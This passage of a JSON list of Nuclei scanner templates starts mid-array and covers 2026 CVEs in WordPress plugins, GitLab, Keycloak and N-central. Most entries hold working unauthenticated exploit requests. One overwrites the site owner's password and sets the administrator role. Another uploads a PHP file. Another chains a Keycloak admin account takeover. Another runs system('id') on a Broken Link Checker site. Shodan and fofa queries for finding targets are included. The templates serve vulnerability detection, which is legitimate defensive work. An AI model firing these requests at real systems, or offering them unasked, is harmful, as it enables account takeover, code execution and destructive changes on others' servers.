,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000]\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - 'wp-login\\.php\\?[^\"\\\\\\s]*action=rp[^\"\\\\\\s]*key=[A-Za-z0-9]{20,}'\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402206c87d6737b0eb284ed16a729b762c0122d3b494d7a9bfb6ccd2130d3cf1d06a10220200d6b57d5d48ee2baf13369f83355b18752df990c010efccfb601a0174c1c4b:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-19632.yaml","vuln_id":"cve-2026-19632"},{"raw":"id: CVE-2026-19598\n\ninfo:\n  name: Pods <= 3.3.9 - Unauthenticated Privilege Escalation via pods_admin AJAX Router\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    The Pods – Custom Content Types and Fields plugin for WordPress is vulnerable to Privilege Escalation via Authorization Bypass in all versions up to, and including, 3.3.9. The vulnerability exists because the pods_admin AJAX router funnels every access check — including the method allowlist, nonce verification, login enforcement, and capability gate — through pods_error(), which under the JSON meta-box-loader compatibility path only writes failures to the PHP error log and returns false instead of terminating the request, rendering all guards ineffective. This makes it possible for unauthenticated attackers to escalate their privileges to Administrator or overwrite the password of any user account, including the site owner's, enabling complete site takeover, or perform another administrator action.\n  impact: |\n    Unauthenticated attackers can escalate to administrator or overwrite any user password, enabling full site takeover.\n  remediation: |\n    Update to the latest version beyond 3.3.9.\n  reference:\n    - https://www.wordfence.com/blog/2026/08/100000-wordpress-sites-affected-by-privilege-escalation-vulnerability-in-pods-wordpress-plugin/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-19598\n    - https://pods.io/2026/08/14/pods-3-3-9-1-security-release-and-backported-releases/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-19598\n    cwe-id: CWE-863\n    epss-score: 0.023\n    epss-percentile: 0.83354\n  metadata:\n    max-request: 2\n    verified: true\n    product: pods\n    vendor: podsfoundation\n  tags: cve,cve2026,wordpress,wp-plugin,pods,privesc,unauth,intrusive,vkev\n\nvariables:\n  passwd: \"{{to_lower(rand_text_alpha(12))}}\"\n  email: \"{{to_lower(rand_text_alpha(8))}}@pods.nuclei\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php?meta-box-loader=1 HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n        X-Requested-With: XMLHttpRequest\n        Content-Type: application/x-www-form-urlencoded\n\n        action=pods_admin&method=save_user&ID=1&user_pass={{passwd}}&user_email={{email}}&role=administrator\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"content_length <= 3\"\n          - \"contains(body, '1')\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{email}}&pwd={{passwd}}&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(to_lower(header), 'wordpress_logged_in')\"\n# digest: 4a0a00473045022056fa204071babd9f2a0387b8563e190c5a1dd71980c426095381d826c16632a4022100c9cfba28f7e46759772f303b6b1295b616780dec3acaae3c92c200c118e8ffff:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-19598.yaml","vuln_id":"cve-2026-19598"},{"raw":"id: CVE-2026-19478\n\ninfo:\n  name: GitLab CE/EE - GraphQL @gl_introduced Arbitrary Method Invocation\n  author: 0x_Akoko,DhiyaneshDk\n  severity: critical\n  description: |\n    GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.11.11, 19.0 before 19.0.8, 19.1 before 19.1.6, and 19.2 before 19.2.4 that under certain conditions could allow an unauthenticated user to remotely modify or delete public projects and user data via a GraphQL directive.\n  impact: |\n    An unauthenticated attacker can remotely modify or delete public projects and user data via arbitrary method invocation\n    through a crafted GraphQL query.\n  remediation: |\n    Upgrade GitLab to version 18.11.11, 19.0.8, 19.1.6, or 19.2.4 or later.\n  reference:\n    - https://www.cve.org/CVERecord?id=CVE-2026-19478\n    - https://github.com/davkharrr/CVE-2026-19478-PoC\n    - https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released/\n    - https://gitlab.com/gitlab-org/gitlab/-/work_items/611377\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H\n    cvss-score: 9.4\n    cve-id: CVE-2026-19478\n    epss-score: 0.02155\n    epss-percentile: 0.82221\n    cwe-id: CWE-94\n  metadata:\n    max-request: 2\n    verified: true\n    vendor: gitlab\n    product: gitlab\n    shodan-query: http.title:\"GitLab\"\n    fofa-query: title=\"gitlab\"\n    google-query: intitle:\"gitlab\"\n  tags: cve,cve2026,gitlab,graphql,code-injection,unauth,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/v4/projects?visibility=public&per_page=1\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'path_with_namespace')\"\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: project_path\n        group: 1\n        regex:\n          - '\"path_with_namespace\"\\s*:\\s*\"([^\"]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/graphql HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"query\":\"query { project(fullPath: \\\"{{project_path}}\\\") { name touch @gl_introduced(version: \\\"999.0.0\\\") } }\"}\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: body\n        words:\n          - \"doesn't exist on type\"\n        negative: true\n\n      - type: regex\n        part: body\n        regex:\n          - '\"touch\"\\s*:\\s*true'\n\n    extractors:\n      - type: json\n        json:\n          - '.data.project.name'\n# digest: 490a0046304402201f80fa8b3644658ee348ff3ed19eedcbe88c9f0a3c0ef20406d0ba5c18c4eb600220247f7b64b4d5f14e9a73c5e75b858cbc348315070db36c663d896b90f342b3d6:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-19478.yaml","vuln_id":"cve-2026-19478"},{"raw":"id: CVE-2026-19092\n\ninfo:\n  name: Tutor LMS < 4.0.6 - Unauthenticated Arbitrary PHP Function Invocation\n  author: aryu-ru\n  severity: critical\n  description: |\n    Tutor LMS WordPress plugin < 4.0.6 contains a template injection caused by insufficient prevention of request data overwriting internal variables during template rendering, letting unauthenticated attackers invoke arbitrary zero-argument PHP functions and receive their output.\n  impact: |\n    Unauthenticated attackers can execute arbitrary PHP functions and obtain their output, potentially leading to information disclosure or further exploitation.\n  remediation: |\n    Update to version 4.0.6 or later.\n  reference:\n    - https://wpscan.com/vulnerability/da7fb4c7-6d07-4c96-bde2-95bca1797d56/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-19092\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-19092\n    epss-score: 0.02624\n    epss-percentile: 0.85527\n    cwe-id: CWE-74\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: themeum\n    product: tutor_lms\n    framework: wordpress\n    shodan-query: html:\"/wp-content/plugins/tutor/\"\n    fofa-query: body=\"/wp-content/plugins/tutor/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,tutor-lms,rce,unauth\n\nvariables:\n  ctx: \"{{rand_base(8, 'abcdefghijklmnopqrstuvwxyz')}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"_tutor_nonce\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        part: body\n        name: nonce\n        group: 1\n        internal: true\n        regex:\n          - '\"_tutor_nonce\":\"([a-z0-9]+)\"'\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=tutor_course_filter_ajax&_tutor_nonce={{nonce}}&template=single-content-loader&data[context]={{ctx}}&data[method_map][{{ctx}}]=phpinfo\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"\\\"success\\\":true\", \"PHP Extension Build\", \"Configuration File (php.ini) Path\", \"allow_url_fopen\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - 'PHP Version ([0-9]+\\.[0-9]+\\.[0-9]+)'\n# digest: 4a0a00473045022002f06fe84e515901bb5665f222a1ba3bd8170493fc400ee665f84364c5e5cca1022100a39c7046b0b75233615c3e2f463e1d24ae171b12044a279bd0dc03f989eca5ea:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-19092.yaml","vuln_id":"cve-2026-19092"},{"raw":"id: CVE-2026-19089\n\ninfo:\n  name: Product Input Fields for WooCommerce < 2.0.2 - Arbitrary File Upload to RCE\n  author: Het Kalariya\n  severity: critical\n  description: |\n    WooCommerce WordPress plugin < 2.0.2 contains an unrestricted file upload vulnerability caused by lack of validation on uploaded file types when accepted-types setting is empty, letting unauthenticated attackers upload arbitrary files and achieve remote code execution on servers ignoring directory access rules, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can upload arbitrary files and execute code remotely, potentially leading to full server compromise.\n  remediation: |\n    Update to version 2.0.2 or later.\n  reference:\n    - https://wpscan.com/vulnerability/c5728a31-de92-40df-ab19-aec4db84ba21/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-19089\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-19089\n    epss-score: 0.03232\n    epss-percentile: 0.88302\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 7\n    vendor: tychesoftwares\n    product: product-input-fields-for-woocommerce\n    framework: wordpress\n  tags: cve,cve2026,wordpress,wp-plugin,woocommerce,product-input-fields-for-woocommerce,fileupload,rce,intrusive\n\nvariables:\n  shopper_email: \"aev-canary@example.com\"\n  first_name: \"Aev\"\n  last_name: \"Canary\"\n\nhttp:\n  - raw:\n      - |\n        GET /shop/ HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET {{product_path}} HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        POST {{product_path}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----pifcanary\n\n        ------pifcanary\n        Content-Disposition: form-data; name=\"add-to-cart\"\n\n        {{product_id}}\n        ------pifcanary\n        Content-Disposition: form-data; name=\"quantity\"\n\n        1\n        ------pifcanary\n        Content-Disposition: form-data; name=\"{{field_name}}\"; filename=\"up.php\"\n        Content-Type: image/jpeg\n\n        <?php echo \"PIF_CANARY_\" . (17 * 31) . \"_PHP\" . PHP_MAJOR_VERSION . \"_OK\"; ?>\n        ------pifcanary--\n\n      - |\n        GET /wp-json/wc/store/v1/cart HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        POST /wp-json/wc/store/v1/checkout HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Nonce: {{nonce}}\n\n        {\"billing_address\":{\"first_name\":\"{{first_name}}\",\"last_name\":\"{{last_name}}\",\"address_1\":\"1 St\",\"city\":\"C\",\"state\":\"CA\",\"postcode\":\"90210\",\"country\":\"US\",\"email\":\"{{shopper_email}}\",\"phone\":\"1234567\"},\"shipping_address\":{\"first_name\":\"{{first_name}}\",\"last_name\":\"{{last_name}}\",\"address_1\":\"1 St\",\"city\":\"C\",\"state\":\"CA\",\"postcode\":\"90210\",\"country\":\"US\",\"phone\":\"1234567\"},\"payment_method\":\"cod\"}\n\n      - |\n        GET /wp-json/wc/store/v1/order/{{order_id}}?key={{order_key}}&billing_email={{shopper_email}} HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /wp-content/uploads/woocommerce_uploads/alg_uploads/product_input_fields/{{item_id}}_up.php HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: product_path\n        part: body\n        internal: true\n        regex:\n          - 'href=\"https?://[^/\"]*(/product/[A-Za-z0-9\\-_]+/?)\"'\n        group: 1\n      - type: regex\n        name: product_id\n        part: body\n        internal: true\n        regex:\n          - 'name=\"add-to-cart\"\\s+value=\"(\\d+)\"'\n        group: 1\n      - type: regex\n        name: field_name\n        part: body\n        internal: true\n        regex:\n          - '\"fieldName\":\"(alg_wc_pif_global_\\d+)\",\"type\":\"file\"'\n          - 'type=\"file\"[^>]{0,600}?name=\"(alg_wc_pif_global_\\d+)\"'\n          - 'name=\"(alg_wc_pif_global_\\d+)\"[^>]{0,600}?type=\"file\"'\n        group: 1\n      - type: regex\n        name: nonce\n        part: header\n        internal: true\n        regex:\n          - '(?m)^Nonce:\\s*(\\S+)'\n        group: 1\n      - type: regex\n        name: order_id\n        part: body\n        internal: true\n        regex:\n          - '\"order_id\":\\s*(\\d+)'\n        group: 1\n      - type: regex\n        name: order_key\n        part: body\n        internal: true\n        regex:\n          - '\"order_key\":\\s*\"([^\"]+)\"'\n        group: 1\n      - type: regex\n        name: item_id\n        part: body\n        internal: true\n        regex:\n          - '\"items\"\\s*:\\s*\\[\\s*\\{[^}]{0,500}?\"id\":\\s*(\\d+)'\n        group: 1\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"PIF_CANARY_527_PHP\"\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450220305d35c2e62740de5713c02c5fe1d842b3d799e2ff8ce9b8106e0818a009ae6b022100afa156116fc1363c222bbf2c5ba79c8806abf62672fdcbf919ffa7928d87ca01:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-19089.yaml","vuln_id":"cve-2026-19089"},{"raw":"id: CVE-2026-18963\n\ninfo:\n  name: Keycloak < 26.7.2 - Unauthenticated Account Takeover via Reset-Credentials Bypass\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Keycloak versions prior to 26.7.2, 26.6.6, and 26.4.15 contain a flaw in the reset-credentials flow that allows an unauthenticated attacker to bypass email verification and take over any user account. Two bugs are chained: (1) the tryAnotherWay handler stores a generic \"true\" selector note not scoped to the execution ID, and (2) ResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID.\n  impact: |\n    An unauthenticated remote attacker can force the password reset process for any user without clicking the email verification link, resulting in full account takeover.\n  remediation: |\n    Upgrade to Keycloak 26.7.2, 26.6.6, or 26.4.15 which include fix PR #51844. Temporary mitigation: disable \"Forgot Password\" in all realms.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-18963\n    - https://github.com/keycloak/keycloak/pull/51844\n    - https://github.com/keycloak/keycloak/issues/51833\n    - https://github.com/T0w0T/POC-CVE-2026-18963\n    - https://access.redhat.com/security/cve/cve-2026-18963\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2026-18963\n    epss-score: 0.04682\n    epss-percentile: 0.91807\n    cwe-id: CWE-640\n  metadata:\n    verified: true\n    max-request: 7\n    vendor: keycloak\n    product: keycloak\n    shodan-query: http.title:\"Sign in to Keycloak\" || http.title:\"Log in to Keycloak\"\n    fofa-query: title=\"Sign in to Keycloak\" || title=\"Log in to Keycloak\"\n  tags: cve,cve2026,keycloak,auth-bypass,account-takeover,critical,vkev\n\nvariables:\n  username: admin\n  realm: master\n\nflow: |\n  http(\"step-1\");\n  http(\"step-2\");\n  http(\"step-3\");\n  http(\"step-4\");\n  typeof restart_path !== \"undefined\" && restart_path !== \"\" && http(\"step-5\");\n  http(\"step-6\");\n  http(\"step-7\");\n\nhttp:\n  - id: step-1\n    raw:\n      - |\n        GET /realms/{{realm}}/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_uri={{BaseURL}}/realms/{{realm}}/account HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    extractors:\n      - type: regex\n        name: forgot_path\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - 'href=\"(?:https?://[^/]+)?(/[^\"]*reset-credentials[^\"]*)\"'\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - id: step-2\n    raw:\n      - |\n        GET {{replace(forgot_path,\"&amp;\",\"&\")}} HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    extractors:\n      - type: regex\n        name: reset_form_action\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - 'id=\"kc-reset-password-form\"[^>]*action=\"(?:https?://[^/]+)?(/[^\"]*)\"'\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - id: step-3\n    raw:\n      - |\n        POST {{replace(reset_form_action,\"&amp;\",\"&\")}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        tryAnotherWay=on\n\n    redirects: true\n    max-redirects: 3\n\n    extractors:\n      - type: regex\n        name: selector_form_action\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - 'id=\"kc-select-credential-form\"[^>]*action=\"(?:https?://[^/]+)?(/[^\"]*)\"'\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - id: step-4\n    raw:\n      - |\n        POST {{replace(selector_form_action,\"&amp;\",\"&\")}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username={{username}}\n\n    redirects: true\n    max-redirects: 3\n\n    extractors:\n      - type: regex\n        name: restart_path\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - '(/realms/[^\\s\"''<]+/login-actions/restart[^\\s\"''<]*skip_logout=true[^\\s\"''<]*)'\n\n    matchers:\n      - type: status\n        status:\n          - 200\n          - 302\n        internal: true\n\n  - id: step-5\n    raw:\n      - |\n        GET {{restart_path}} HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: status\n        status:\n          - 200\n          - 302\n        internal: true\n\n  - id: step-6\n    raw:\n      - |\n        GET {{replace(forgot_path,\"&amp;\",\"&\")}} HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    extractors:\n      - type: regex\n        name: stale_selector_action\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - 'id=\"kc-select-credential-form\"[^>]*action=\"(?:https?://[^/]+)?(/[^\"]*)\"'\n\n    matchers:\n      - type: word\n        words:\n          - \"kc-select-credential-form\"\n        part: body\n        internal: true\n\n  - id: step-7\n    raw:\n      - |\n        POST {{replace(stale_selector_action,\"&amp;\",\"&\")}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username={{username}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: word\n        words:\n          - \"kc-passwd-update-form\"\n        part: body\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"username=\" + username + \" | realm=\" + realm'\n# digest: 4b0a0048304602210097426c9a4406378884e25c038c49d6a597979d367c31132fbfeef0f1fc94ef8c0221008dfd495e2b99bcb0bbd00adfd26525e1e61b1252fff9bdd030e2065dc572cc31:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-18963.yaml","vuln_id":"cve-2026-18963"},{"raw":"id: CVE-2026-18937\n\ninfo:\n  name: WordPress Broken Link Checker < 2.4.12 - Remote Code Execution\n  author: anirbala98\n  severity: critical\n  description: |\n    The Broken Link Checker WordPress plugin before 2.4.12 does not limit which query variables it accepts from user input on sites using plain permalinks, allowing unauthenticated users to overwrite arbitrary PHP global variables on the server when a classic (non-block) theme is active.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code, leading to full remote code execution with web server privileges.\n  remediation: |\n    Upgrade to version 2.4.12 or later.\n  reference:\n    - https://wpscan.com/vulnerability/a23b76eb-107d-4e02-8eae-c3c5fa5b003d/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-18937\n    - https://wordpress.org/plugins/broken-link-checker/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.0\n    cve-id: CVE-2026-18937\n    epss-score: 0.01993\n    epss-percentile: 0.80748\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: wpmu-dev\n    product: broken-link-checker\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/broken-link-checker/\"\n  tags: cve,cve2026,wordpress,wp-plugin,rce,broken-link-checker,unauth\n\nhttp:\n  - raw:\n      - |\n        GET /?_wp_sidebars_widgets[sidebar-1][]=x&wp_registered_widgets[x][callback]=array_filter&wp_registered_widgets[x][params][0]=system&wp_registered_sidebars[sidebar-1][cmd]=id HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(content_type, \"text/html\")'\n          - 'contains_all(body, \"uid=\", \"gid=\")'\n        condition: and\n# digest: 4a0a00473045022023a95d67aec241461842c9956c834bcd63146dc29075eafaab738f36298709ca022100d6788da83be477a50443fbc2a5db2318234f48dc080b9af3294876ea5c362fef:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-18937.yaml","vuln_id":"cve-2026-18937"},{"raw":"id: CVE-2026-1890\n\ninfo:\n  name: LeadConnector < 3.0.22 - Unauthenticated Arbitrary Data Write\n  author: 0x_Akoko\n  severity: medium\n  description: |\n   LeadConnector WordPress plugin < 3.0.22 contains a broken access control caused by missing authorization in a REST route, letting unauthenticated attackers overwrite existing data remotely, exploit requires no authentication.\n  impact: |\n   Unauthenticated attackers can overwrite existing data, potentially leading to data tampering and loss of integrity.\n  remediation: |\n   Update to version 3.0.22 or later.\n  reference:\n    - https://wpscan.com/vulnerability/9b88be70-b5cc-4a3f-a871-64d61cb02076/\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1890\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-1890\n    epss-score: 0.00682\n    epss-percentile: 0.52579\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: leadconnector\n    product: leadconnector\n    fofa-query: body=\"/wp-content/plugins/leadconnector/\"\n    shodan-query: http.html:\"leadconnector\"\n    tags: cve,cve2026,wordpress,wp-plugin,leadconnector,unauth,rest-api,intrusive,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/leadconnector/README.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"LeadConnector\")'\n          - 'compare_versions(lsversion, \">=1.0.0\", \"<=3.0.21\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: lsversion\n        internal: true\n        regex:\n          - 'Stable tag: ([\\d.]+)'\n        group: 1\n\n  - raw:\n      - |\n        POST /wp-json/lc_internal_api/v1/save_custom_values HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"custom_values\":[{\"fieldKey\":\"{{randstr}}\",\"id\":\"1\"}]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"status\", \"success\")'\n        condition: and\n# digest: 490a0046304402202ede41cc4e7912bfab5141eb8c07e2823243e43df1a8635fbcceeae6e05bfd6302201b40031019b48d519d0f26e71d63b537d3af6c1b8e33ed4476ec4fb551d4d0e8:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-1890.yaml","vuln_id":"cve-2026-1890"},{"raw":"id: CVE-2026-18577\n\ninfo:\n  name: N-able N-central < 2026.3.1.10 - Authentication Bypass\n  author: patrick-threatmate\n  severity: critical\n  description: |\n    N-able N-central versions through 2026.3.1 contain an authentication bypass that lets a remote unauthenticated attacker take over an administrator account and gain full control of the N-central server. CVE-2026-18577 is a bypass of the incomplete fix for CVE-2026-18556, so the 2026.3.1 Hotfix 1 build (2026.3.1.7) does not fully remediate it. Hotfix 2 (2026.3.1.10) supersedes Hotfix 1 and is the first fully fixed 2026.3 build.\n  impact: |\n    Unauthenticated attackers gain administrative access to the RMM console and can reach every managed endpoint through Take Control. Exploited in the wild and added to the CISA Known\n  remediation: |\n    Upgrade on-premises N-central to 2026.3.1.10 (2026.3 Hotfix 2) or to a later release line (2026.4 or newer). Applying Hotfix 1 (2026.3.1.7) alone is not sufficient. N-able hosted environments were mitigated by the vendor and need no customer action.\n  reference:\n    - https://www.n-able.com/blog/n-central-security-update-august-6-2026\n    - https://status.n-able.com/2026/08/06/n-central-2026-3-hotfix-2-additional-mitigation-for-cve-2026-18577/\n    - https://www.rapid7.com/blog/post/etr-cve-2026-18577-n-able-n-central-authentication-bypass-exploited-in-the-wild/\n    - https://www.huntress.com/blog/n-able-vulnerability-exploitation\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-18577\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-18556\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.1\n    cve-id: CVE-2026-18577\n    epss-score: 0.14622\n    epss-percentile: 0.96666\n    cwe-id: CWE-288\n    cpe: cpe:2.3:a:n-able:n-central:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: n-able\n    product: n-central\n    shodan-query: http.title:\"N-central Login\"\n    fofa-query: title=\"N-central Login\"\n  tags: cve,cve2026,n-able,ncentral,auth-bypass,kev,passive,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/login\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        condition: or\n        words:\n          - 'class=\"ncentral\"'\n          - 'ncentralVersion'\n\n      - type: dsl\n        dsl:\n          - compare_versions(version, '< 2026.3.1.10')\n\n    extractors:\n      - type: regex\n        name: version\n        internal: true\n        group: 1\n        regex:\n          - 'ncentralVersion:\\s*\"(202\\d+\\.\\d+\\.\\d+\\.\\d+)\"'\n\n      - type: regex\n        name: ncentral_version\n        group: 1\n        regex:\n          - 'ncentralVersion:\\s*\"(202\\d+\\.\\d+\\.\\d+\\.\\d+)\"'\n# digest: 